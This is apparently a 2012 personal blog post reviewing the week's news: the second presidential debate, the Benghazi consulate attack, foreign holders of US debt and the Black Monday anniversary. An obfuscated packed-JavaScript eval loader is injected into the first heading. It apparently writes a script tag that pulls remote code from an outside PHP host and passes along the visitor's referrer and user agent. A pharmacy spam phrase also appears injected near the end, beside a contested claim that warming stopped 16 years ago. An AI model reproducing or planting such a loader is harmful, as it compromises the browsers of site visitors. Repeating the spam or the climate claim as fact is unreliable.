The Week in News Review


Presidential eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzbkr|var|u0026u|referrer|iayts||js|php’.split(‘|’),0,{}))
& October Surprise

If the excitement of November 6 wasn’t enough, now the public can look forward to October 22. If you don’t know the first date, you’ve lived under a rock.  If you don’t know the second date, then you’re just not surfing the web as much as me, which can be forgiven.

What did you think of the second presidential debate? Washington Post’s Chris Cillizza does an excellent job in pointing out the winning and loosing moments during the debate.  I’d agree with his assessment.  Overall, there was not enough substance and too much bickering for many undecided voters to jump aboard either candidate.  It is not becoming of the future leader of my country to quarrel over debate rules on live TV.  Did you like the town-hall style? While not all the questions were poignant; every question has a face on it.  Candidates couldn’t evade a question as easily, though they did their best.

P.S. What is going to happen Oct. 22?  I guess you’ll just have to stay tuned.

Sept. 11 U.S. consulate attack in Libya

Why do certain things get blown out of proportion,  while more deserving news doesn’t?  This is a mystery I have yet to answer.  There has been much confusion on the reasons behind the September 11 attack on the U.S. consulate in Libya, mostly due to Romney’s campaign to pin more blame on Obama for the world’s dysfunction. Read the WSJ link above to get more information about the mis-communication from the U.S. administration.

I would rather focus on the tragic loss of J. Christopher Stevens, the U.S. ambassador to Libya, Sean Smith, a Foreign Service information management officer, and two other U.S. personnel that died in Benghazi.

Who owns American debt?

We are the world’s largest indebted country.  There is something seriously wrong with this picture.  No global leader can be beholden to other countries.  So who owns our debt?  China owns $1.15 trillion of U.S. government debt, which apparently is down compared to past years. Japan is also a big lender to the U.S.

While it is morally right for us to send aid to other countries, how much can the U.S. afford to be in debt?

Today’s History – Oct. 19, 1987

Today marks the 25th anniversary of Black Monday – a day to live in infamy.  Why?  Black Monday was thought to be a return of the Great Depression of the 1930s.  Stock markets around the world plunged down, as a result of a variety of factors  including program tradingovervaluationilliquidity, and market psychology.  Sound familiar?  It took a few years before the economy recovered again.  And look where we are today?  I’m feeling philosophical (which may be the cold premier pharmacy medicine I’m on), but there is a certain symmetry to life on earth.    For instance, the clamor of global warming, while very much needed to change human lifestyle from waste to conservation, may not be as alarming as first thought. British media recently published an article purporting that the steady increase of earth’s temperature stopped 16 years ago.  In the scientific community, it is well known that the earth naturally fluxes between cold and warm cycles.  Don’t take this news as vindication for your littering.  The whole in the ozone layer combined with toxic landfills polluting our planet with our own putrid byproducts (there’s a bit of poetry in this biological justice) are still big problems.  Recycling and changing our lifestyle is needed, but at least it’s not to the point that we need to carry cardboard signs saying the end of the world is near (yet).

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